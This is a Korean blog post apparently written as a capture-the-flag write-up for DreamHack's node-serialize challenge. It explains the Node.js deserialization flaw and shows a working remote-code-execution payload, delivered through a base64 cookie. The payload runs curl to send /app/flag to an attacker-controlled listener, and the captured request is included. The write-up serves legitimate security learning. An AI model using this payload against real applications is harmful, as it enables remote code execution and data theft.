๋ณธ๋ฌธ ๋ฐ”๋กœ๊ฐ€๊ธฐ
๐ŸดCTF/DreamHack

DreamHack - node-serialize (nodejs ์ง๋ ฌํ™” ์ทจ์•ฝ์ ) ํ’€์ด

by Janger 2023. 3. 27.
728x90
๋ฐ˜์‘ํ˜•

 

node-serialize ์ทจ์•ฝ์  ์˜ˆ์‹œ

 

var serialize = require('node-serialize');


var x = {
rce : function(){
require('child_process').exec('echo serialize exploited!', function(error, stdout, stderr) { console.log(stdout) });
}(),
}

serialize.serialize(x);


var y = '{"username": "guest", "country": "Korea", "exec": "_$$ND_FUNC$$_function(){  require(\'child_process\').exec(\'echo unserialize exploited!\', function(error, stdout, stderr) { console.log(stdout) });  }()"}'

serialize.unserialize(y);

 

๊ฒฐ๊ณผ)

serialize exploited!

unserialize exploited!

 

serializeํ™”์™€ unserializeํ™” ์ทจ์•ฝ์ ์ด 2๊ฐœ๊ฐ€ ์กด์žฌํ•œ๋‹ค. 

์ด๋•Œ ๋ฌธ์ž์—ด ํ˜•ํƒœ๋ฅผ unserialize ํ•˜๋Š” ๊ฒฝ์šฐ ํ•จ์ˆ˜ ํ˜•ํƒœ๋ฅผ "_$$ND_FUNC$$_function()"๋กœ ์ž‘์„ฑํ•ด์•ผ ํ•จ์ˆ˜ ์‹คํ–‰์ด ๊ฐ€๋Šฅํ•˜๋‹ค. 

 

์ฐธ๊ณ : 

http://news.grayhash.com/html/category/vulnerability/nodejs_vulnerability_serialization_Bug.html

 

The Graynews - [Vulnerability] node.js ์ทจ์•ฝ์ , ์ง๋ ฌํ™” ๋ฒ„๊ทธ

 

news.grayhash.com

 

 

๋“œ๋ฆผํ•ต ์›Œ๊ฒŒ์ž„ ํ’€์ด

 

ํžŒํŠธ) ๋Œ€์ƒ ์„œ๋ฒ„๊ฐ€ curl ๋ช…๋ น์–ด๋ฅผ ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•จ

Dockerfile
RUN apk --no-cache add curl


ํŒŒ์ผ ์ˆ˜์‹  ์„œ๋ฒ„ ์—ด๊ธฐ

index.js์—๋Š” flag ๊ฐ’์„ ์ถœ๋ ฅํ•˜๋Š” ์†Œ์Šค๊ฐ€ ๋ณด์ด์ง€ ์•Š์•„ ๋ณด์—ฌ ๊ณต๊ฒฉ์ž์˜ ์„œ๋ฒ„๋กœ flag ํŒŒ์ผ์„ ์ˆ˜์‹ ํ•˜๊ธฐ๋กœ ๊ฒฐ์ •

ncat -lvp 4444 > flag.txt

๊ณต๊ฒฉ
node-serialize ๋ชจ๋“ˆ์˜ ์ง๋ ฌํ™” ์ทจ์•ฝ์ ์„ ์ด์šฉ ๋”ฐ์˜ดํ‘œ๋กœ ๊ฐ์‹ผ ๋ฌธ์ž์—ด์€ _$$ND_FUNC$$_function(){/*content*/}() ์ด๋Ÿฐ์‹์œผ๋กœ ํ•จ์ˆ˜๋ฅผ ์ž‘์„ฑํ•˜๋ฉด ์ž๋™ ์‹คํ–‰

Exploit Code

{
  "username": "guest",
  "country": "Korea",
  "exec": "_$$ND_FUNC$$_function(){require('child_process').exec('curl -X POST -H \"Content-Type: multipart/form-data\" -F \"file=@/app/flag\" http://๊ณต๊ฒฉ์ž์„œ๋ฒ„', function(error, stdout, stderr){});}()"
}

Base64๋กœ ์ธ์ฝ”๋”ฉํ•˜๊ณ  profile ์ฟ ํ‚ค ๊ฐ’์œผ๋กœ ์„ค์ •ํ•˜๊ณ  ์ƒˆ๋กœ๊ณ ์นจ


์ˆ˜์‹ ๋œ flag ํŒŒ์ผ ํ™•์ธ

POST / HTTP/1.1
Host: ๊ณต๊ฒฉ์ž์„œ๋ฒ„
User-Agent: curl/7.83.1
Content-Length: 236
Accept: */*
Content-Type: multipart/form-data; boundary=------------------------0276c83fafa68ea3
X-Forwarded-For: 23.81.42.210
X-Forwarded-Proto: http
Accept-Encoding: gzip

--------------------------0276c83fafa68ea3
Content-Disposition: form-data; name="file"; filename="flag"
Content-Type: application/octet-stream

FLAG{ํ”Œ๋ž˜๊ทธ_๋‚ด์šฉ}
--------------------------0276c83fafa68ea3--

 

728x90
๋ฐ˜์‘ํ˜•